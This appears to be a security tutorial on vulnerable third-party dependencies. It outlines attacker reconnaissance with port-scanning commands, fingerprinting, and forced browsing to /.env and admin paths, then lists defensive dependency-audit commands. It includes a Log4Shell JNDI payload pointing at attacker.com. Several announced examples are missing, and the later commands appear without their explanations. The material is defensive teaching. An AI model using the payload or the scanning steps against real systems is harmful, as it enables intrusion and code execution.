Unless you are writing a really simple function which doesn’t do much, you will reuse software of other people. From development to deployment, you will use libraries, frameworks, technologies, etc. And guess what! Those third-party components will also depend on other components!
This comes at a cost. In fact, part of the third-party software components you will reuse will suffer from security vulnerabilities. Besides, you might even be using some malicious components. Therefore, checking your code is a need, not a luxury.
Let’s first understand how attackers find and exploit vulnerable components.
How Attackers Find Vulnerable Components
Step 1: Port Scanning
# Scan all ports and get service versionsnmap-sV-p-target.com# Fast scanning with Masscanmasscan-p0-65535target.com--rate=1000# Efficient scanning with RustScanrustscan-atarget.com---sV
Open ports reveal:
Apache/Nginx web servers
MySQL/PostgreSQL databases
Application frameworks
Third-party services
Step 2: Fingerprint Technologies
Check HTTP Response Headers:
Automated Fingerprinting Tools:
Wappalyzer (browser extension) — Detects frontend and backend technologies
BuiltWith (online tool) — Full breakdown of site's technology stack
Shodan — Search for specific technologies and versions
Example: Detecting Laravel
Look at HTTP headers and HTML source for Laravel clues:
Check Dependency Files:
If you gain source code access, check:
package.json (JavaScript/Node.js)
composer.json (PHP)
requirements.txt (Python)
pom.xml (Java)
Gemfile (Ruby)
Example package.json with vulnerable dependencies:
All three are vulnerable versions.
Step 3: Trigger Errors to Reveal Technology Details
Submit malformed input to expose error messages:
Step 4: Forced Browsing — Discover Hidden Files
Find default files and admin panels:
Common targets:
/admin, /admin-panel, /administrator
/version, /status, /server-info
/composer.json (exposes PHP dependencies)
/.env (environment variables and secrets)
Step 5: Identify CVEs and Find Exploits
Once you've identified technologies and versions, search for known vulnerabilities:
CVE Databases:
Exploit-DB (exploit-db.com) — Public exploits repository
NVD (nvd.nist.gov) — National Vulnerability Database
# See all dependencies including transitive
mvn dependency:tree
# Identify Jackson 2.8.0 in the tree
# Even if you don't directly depend on it
# Run vulnerability scan
mvn clean dependency-check:check
# Attacker sends this in any loggable field
${jndi:ldap://attacker.com/Exploit}
# When logged, Log4j interprets it as JNDI lookup
# Connects to attacker's LDAP server
# Downloads and executes malicious code
# Check Log4j version
grep -r "log4j-core" pom.xml
# If version < 2.16.0, vulnerable
# If version < 2.17.1, vulnerable to bypass
# Use Snyk to scan
snyk test
# Always double-check package names
pip search python-dateutil
# Check package details
pip show python-dateutil
# Verify official source
# Should come from official maintainers only
# Check pom.xml for XStream version
grep -A 2 "xstream" pom.xml
# If version < 1.4.8, vulnerable
# Multiple deserialization CVEs affect < 1.4.10
# Check dependency resolution order
mvn dependency:tree -Dverbose
# Audit which repositories are checked first
# Ensure private repos checked before public
# Node.js
npm ls
# Python
pip freeze > requirements.txt
# PHP
composer show --all
# Java
mvn dependency:tree
# npm
npm outdated
# Check last update date
npm info package-name
# If no updates in 2+ years, likely unmaintained
{
"lodash": "4.x", // Yikes, 4.x is ancient!
"moment": "2.29.x", // Unmaintained as of 2020
"jquery": "2.x" // jQuery 2 EOL in 2016
}
# See ALL dependencies, not just direct ones
npm ls --all
# Identify which package pulls in the vulnerable dependency
# Decide: Update parent package or exclude transitive dep